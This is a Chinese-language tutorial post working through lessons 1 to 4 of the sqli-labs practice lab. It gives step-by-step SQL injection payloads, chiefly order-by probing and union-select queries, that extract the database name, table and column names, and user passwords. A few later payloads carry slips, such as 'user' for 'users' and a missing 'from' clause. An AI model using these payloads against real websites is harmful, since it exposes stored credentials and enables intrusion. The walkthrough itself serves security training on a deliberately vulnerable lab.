sqli-labs中less-1~4实验详解

Less1-实验

1.判断是否存在SQL注入

1.提示输入的ID作为参数,这里我们选择 id=1
id=1
2.因为数值不同,返回值也不同。我们可以确认我们输入的参数被带入到数据库中调用了。
id=2
id=6
3.接下来判断语句是否可拼接,且是字符型还是数值型。
在这里插入图片描述
在这里插入图片描述
4.根据结果我们可以判定这是一个字符型注入漏洞,我们可以得到页面回显。接下来我们就进行联合注入得到更多的数据库信息。

2.联合注入

1.首先我们需要知道该表有几列?通过order by 获取!

?id=1' order by 3 --+

在这里插入图片描述
在这里插入图片描述
order by 参数为 4 时,页面回显报错,我们得知该表一共有3列
2.从页面回显可以看出,3列数据中,只有2列可以页面回显,我们需要确认一下到底是哪两列会回显呢?

?id=0' union select 1,2,3 --+

在这里插入图片描述
这里我们使用的id参数为0,是因为我们需要id参数不存在于数据库的序列号当中,也可以使用负数.通过上述回显,我们可以判定,回显位为第2\3列
3.获取当前数据库名和版本号

?id=0' union select 1,database(),version() --+

在这里插入图片描述
4.爆表
information_schema.tables是系统表之一,记录着数据库当中所有的tables表;
where后面跟条件语句;
group_concat()将查询到结果连接起来,如果不用group_concat查询到的只是user表中的数据。
该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的数据。

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
5.爆字段名
通过爆表我们得知一共有4个表,猜测账户信息放在user表中,接下来我们对该表进行爆破,获得字段名。

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
我们可以看到两个关键字段名passwordusername
我们可以构造语句获取每个id对应的用户名和口令。

?id=0' union select 1,2,group_concat(username,id,password) from users --+

在这里插入图片描述

Less2-实验

1、判断注入类型

在这里插入图片描述
在这里插入图片描述
我们猜测此例为一个数字型注入。

2、注入过程

注入所需构造语句如下:
1、判断列数
?id=1 order by 3
?id=1 order by 4  
2、暴露显示位
?id=0 union select 1,2,3
3、爆库查看数据库名、版本等信息
?id=0  union select 1,database(),version()
4、获取所有数据库名
?id=0  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 
5、获取所有表名
?id=0  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 

注入过程截图如下:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Less3-实验

1、判断

我们输入id=2'得到报错界面
在这里插入图片描述
从上图报错内容可以得知,SQL语句格式中不止有',还有)需要进行补全。故此,我们的构造的SQL语句需要满足上述格式。

2、构造语句

?id = 2 ')  --+
其他构造语句如下: 
1、判断列数
?id = 2 ') order by 3 --+
	2、确认暴露的显示位
?id=0') union select 1,2,3 --+ 
3、查看数据库名及数据库版本
?id =0 ')  union select 1,database(),version() --+
4、爆库
?id =0' ) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
5、爆表
?id = 0 ' ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'user' --+ 
6、爆用户数据
?id = 0' ) union select 1,2,group_concat(username,id,password) --+

Less4-实验

1、判断注入类型

经过多次尝试,我们发现报错的注入方式为…
在这里插入图片描述

2、构造语句

?id = 2 ")  --+
其他构造语句如下: 
1、判断列数
?id = 2") order by 3 --+
	2、确认暴露的显示位
?id=0") union select 1,2,3 --+ 
3、查看数据库名及数据库版本
?id = 0")  union select 1,database(),version() --+
4、爆库
?id = 0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
5、爆表
?id = 0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'user' --+ 
6、爆用户数据
?id = 0 ") union select 1,2,group_concat(username,id,password) --+
  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值